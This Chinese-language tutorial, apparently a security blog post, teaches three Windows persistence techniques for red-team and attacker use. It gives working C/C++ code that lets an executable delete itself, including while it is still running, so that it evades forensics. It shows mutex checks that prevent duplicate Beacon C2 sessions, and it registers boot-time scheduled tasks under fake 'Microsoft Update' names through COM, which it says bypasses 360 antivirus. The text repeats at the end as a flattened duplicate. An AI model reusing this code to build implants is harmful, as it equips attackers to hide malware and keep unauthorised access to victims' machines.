Window向之权限维持三小技
字数 856 2025-08-24 07:48:33

Windows权限维持三大技巧详解

0x00 前言

本文详细讲解Windows系统中三种实用的权限维持技术:文件自删除、互斥体应用和重启上线机制。这些技术在渗透测试和红队行动中具有重要价值,能够帮助攻击者更隐蔽地维持系统访问权限。

0x01 文件自删除技术

文件自删除分为两种实现方式:

1.1 运行结束后自删除

实现原理

  • 创建挂起的cmd进程
  • 设置删除自身文件的命令
  • 调整进程优先级确保删除命令在程序退出后执行
  • 唤醒挂起的cmd进程执行删除操作

代码实现

#include <Windows.h>
#include <stdio.h>

int main() {
    // 1.获取当前可执行文件路径
    wchar_t exePath[MAX_PATH] = {0};
    GetModuleFileName(NULL, exePath, MAX_PATH);

    // 2.构造删除命令
    wchar_t command[128] = {0};
    wsprintf(command, L"cmd /k del %s", exePath);
    printf("\nExecute Command:%ls\n", command);

    // 3.创建挂起的cmd进程
    STARTUPINFO si = {sizeof(si)};
    PROCESS_INFORMATION pi;
    BOOL flag = CreateProcess(NULL, command, NULL, NULL, FALSE, 
                            CREATE_NO_WINDOW | CREATE_SUSPENDED, // 关键参数
                            NULL, NULL, &si, &pi);

    if (!flag) {
        printf("CreateProcess Error:%d\n", GetLastError());
        exit(0);
    }

    // 4.优化执行时机
    SetPriorityClass(pi.hProcess, IDLE_PRIORITY_CLASS);
    SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
    SetPriorityClass(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);

    // 5.唤醒线程执行删除
    if (!ResumeThread(pi.hThread)) {
        printf("ResumeThread %d\n", GetLastError());
    }

    printf("%s\d", "Running Done! check condition by yourself!");
}

缺点

  1. 编写复杂,行为可疑
  2. 通用性差,稳定性不高
  3. 对C2框架(如Beacon)意义不大

1.2 运行时自删除

实现原理

  1. 以DELETE权限打开运行中的文件
  2. 修改FileRenameInformation属性将文件重命名为ADS流
  3. 重新打开文件并设置FileDispositionInfo的delete属性为TRUE
  4. 关闭句柄完成删除

代码实现

#pragma comment(lib, "Shlwapi.lib")
#include <windows.h>
#include <Shlwapi.h>
#include <stdio.h>

void autoDelete() {
    WCHAR wcPath[MAX_PATH];
    RtlSecureZeroMemory(wcPath, sizeof(wcPath));
    if (GetModuleFileNameW(NULL, wcPath, MAX_PATH) == 0) {
        return;
    };

    HANDLE hCurrent = CreateFileW(wcPath, DELETE, 0, NULL, 
                                 OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hCurrent == INVALID_HANDLE_VALUE) {
        return;
    }

    // 重命名句柄
    FILE_RENAME_INFO fRename;
    RtlSecureZeroMemory(&fRename, sizeof(fRename));
    LPWSTR lpwStream = (wchar_t*)L":wtforz";
    fRename.FileNameLength = sizeof(lpwStream);
    RtlCopyMemory(fRename.FileName, lpwStream, sizeof(lpwStream));
    
    BOOL flag = SetFileInformationByHandle(hCurrent, FileRenameInfo, 
                                          &fRename, sizeof(fRename) + sizeof(lpwStream));
    if (!flag) {
        return;
    }
    CloseHandle(hCurrent);

    hCurrent = CreateFileW(wcPath, DELETE, 0, NULL, 
                          OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hCurrent == INVALID_HANDLE_VALUE) {
        return;
    }

    // 设置删除属性
    FILE_DISPOSITION_INFO fDelete;
    RtlSecureZeroMemory(&fDelete, sizeof(fDelete));
    fDelete.DeleteFile = TRUE;
    
    BOOL _flag = SetFileInformationByHandle(hCurrent, FileDispositionInfo, 
                                           &fDelete, sizeof(fDelete));
    if (!_flag) {
        return;
    }

    // 删除文件
    CloseHandle(hCurrent);
    
    if (!PathFileExists(wcPath)) {
        #ifdef _DEBUG
        printf("[LOG] - %ls\n", L"Success, Done!");
        #endif
        return;
    }
}

int wmain(int argc, wchar_t* argv) {
    autoDelete();
    getchar();
}

特点

  • 程序运行时即可删除自身
  • 后续代码仍可继续执行
  • 行为更加隐蔽

0x02 互斥体应用

2.1 互斥体的作用

  • 防止程序多开
  • 避免重复上线多个Beacon
  • 减少加载器暴露风险

2.2 相关API

CreateMutexA:

HANDLE CreateMutexA(
  [in, optional] LPSECURITY_ATTRIBUTES lpMutexAttributes,
  [in]           BOOL                  bInitialOwner,
  [in, optional] LPCSTR                lpName
);

OpenMutexW:

HANDLE OpenMutexW(
  [in] DWORD   dwDesiredAccess,
  [in] BOOL    bInheritHandle,
  [in] LPCWSTR lpName
);

2.3 代码实现

基础实现

#include <Windows.h>
#include <stdio.h>

bool checkMutex() {
    HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex");
    if (hMutex == NULL) {
        CreateMutex(NULL, FALSE, "MyTestMutex");
    } else {
        #ifdef _DEBUG
        MessageBox(NULL, "Program is already running", 0, 0);
        #endif
        exit(0);
    }
    return TRUE;
}

int wmain(int argc, wchar_t* argv) {
    checkMutex();
    printf("Program is running......\n");
    system("pause");
    return 0;
}

进阶实现(允许两个实例):

bool checkMutex() {
    HANDLE hMutex1 = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex1");
    if (hMutex1 == NULL) {
        CreateMutex(NULL, FALSE, "MyTestMutex1");
        return TRUE;
    }
    
    HANDLE hMutex2 = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex2");
    if (hMutex2 == NULL) {
        CreateMutex(NULL, FALSE, "MyTestMutex2");
        return TRUE;
    } else {
        #ifdef _DEBUG
        MessageBox(NULL, "Program is already running", 0, 0);
        #endif
        exit(0);
    }
}

0x03 重启上线机制

3.1 计划任务基础用法

常用命令示例:

# 计算机启动后延迟1分钟执行
schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onstart /ru System /delay 0001:00

# 闲置30分钟后执行
schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onidle /i 30 /ru System

# 用户登录后执行
schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onlogon /ru System

# 每天3点执行
schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc daily /st 03:00

# 每20分钟执行一次
schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc minute /mo 20

3.2 代码实现(绕过360)

#define _WIN32_DCOM
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")

using namespace std;

int __cdecl wmain() {
    HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    hr = CoInitializeSecurity(NULL, -1, NULL, NULL, 
                            RPC_C_AUTHN_LEVEL_PKT_PRIVACY, 
                            RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);

    LPCWSTR wszTaskName = L"Window Microsoft Update";
    wstring wstrExecutablePath = L"cmd /c whoami";

    ITaskService* pService = NULL;
    hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, 
                         IID_ITaskService, (void**)&pService);
    hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());

    ITaskFolder* pRootFolder = NULL;
    hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
    pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);

    ITaskDefinition* pTask = NULL;
    hr = pService->NewTask(0, &pTask);
    pService->Release();

    IRegistrationInfo* pRegInfo = NULL;
    hr = pTask->get_RegistrationInfo(&pRegInfo);
    hr = pRegInfo->put_Author(_bstr_t(L"xq17"));
    pRegInfo->Release();

    ITaskSettings* pSettings = NULL;
    hr = pTask->get_Settings(&pSettings);
    hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
    pSettings->Release();

    ITriggerCollection* pTriggerCollection = NULL;
    hr = pTask->get_Triggers(&pTriggerCollection);
    ITrigger* pTrigger = NULL;
    hr = pTriggerCollection->Create(TASK_TRIGGER_BOOT, &pTrigger);
    pTriggerCollection->Release();

    IBootTrigger* pBootTrigger = NULL;
    hr = pTrigger->QueryInterface(IID_IBootTrigger, (void**)&pBootTrigger);
    pTrigger->Release();
    hr = pBootTrigger->put_Id(_bstr_t(L"Trigger1"));
    hr = pBootTrigger->put_Delay(_bstr_t(L"PT30S"));
    pBootTrigger->Release();

    IActionCollection* pActionCollection = NULL;
    hr = pTask->get_Actions(&pActionCollection);
    IAction* pAction = NULL;
    hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
    pActionCollection->Release();

    IExecAction* pExecAction = NULL;
    hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
    pAction->Release();
    hr = pExecAction->put_Path(_bstr_t(wstrExecutablePath.c_str()));
    pExecAction->Release();

    IRegisteredTask* pRegisteredTask = NULL;
    VARIANT varPassword;
    varPassword.vt = VT_EMPTY;
    hr = pRootFolder->RegisterTaskDefinition(
        _bstr_t(wszTaskName), pTask, TASK_CREATE_OR_UPDATE,
        _variant_t(L"Local Service"), varPassword,
        TASK_LOGON_SERVICE_ACCOUNT, _variant_t(L""), &pRegisteredTask);

    printf("\nSuccess! Task successfully registered.");
    
    pRootFolder->Release();
    pTask->Release();
    pRegisteredTask->Release();
    CoUninitialize();
    return 0;
}

特点

  • 使用COM接口直接操作任务计划程序
  • 绕过360等安全软件的检测
  • 可设置启动延迟等高级参数

0x04 总结

本文详细介绍了Windows权限维持的三种实用技术:

  1. 文件自删除:包括运行后删除和运行时删除两种方式,后者更为隐蔽
  2. 互斥体应用:防止程序多开,避免重复上线
  3. 重启上线机制:通过计划任务实现持久化,可绕过安全软件检测

这些技术可以单独使用,也可以组合应用,根据实际攻防场景灵活调整。建议读者深入理解原理后,自行实现和优化这些技术,避免直接使用公开的利用工具。

Windows权限维持三大技巧详解 0x00 前言 本文详细讲解Windows系统中三种实用的权限维持技术:文件自删除、互斥体应用和重启上线机制。这些技术在渗透测试和红队行动中具有重要价值,能够帮助攻击者更隐蔽地维持系统访问权限。 0x01 文件自删除技术 文件自删除分为两种实现方式: 1.1 运行结束后自删除 实现原理 : 创建挂起的cmd进程 设置删除自身文件的命令 调整进程优先级确保删除命令在程序退出后执行 唤醒挂起的cmd进程执行删除操作 代码实现 : 缺点 : 编写复杂,行为可疑 通用性差,稳定性不高 对C2框架(如Beacon)意义不大 1.2 运行时自删除 实现原理 : 以DELETE权限打开运行中的文件 修改FileRenameInformation属性将文件重命名为ADS流 重新打开文件并设置FileDispositionInfo的delete属性为TRUE 关闭句柄完成删除 代码实现 : 特点 : 程序运行时即可删除自身 后续代码仍可继续执行 行为更加隐蔽 0x02 互斥体应用 2.1 互斥体的作用 防止程序多开 避免重复上线多个Beacon 减少加载器暴露风险 2.2 相关API CreateMutexA : OpenMutexW : 2.3 代码实现 基础实现 : 进阶实现 (允许两个实例): 0x03 重启上线机制 3.1 计划任务基础用法 常用命令示例: 3.2 代码实现(绕过360) 特点 : 使用COM接口直接操作任务计划程序 绕过360等安全软件的检测 可设置启动延迟等高级参数 0x04 总结 本文详细介绍了Windows权限维持的三种实用技术: 文件自删除 :包括运行后删除和运行时删除两种方式,后者更为隐蔽 互斥体应用 :防止程序多开,避免重复上线 重启上线机制 :通过计划任务实现持久化,可绕过安全软件检测 这些技术可以单独使用,也可以组合应用,根据实际攻防场景灵活调整。建议读者深入理解原理后,自行实现和优化这些技术,避免直接使用公开的利用工具。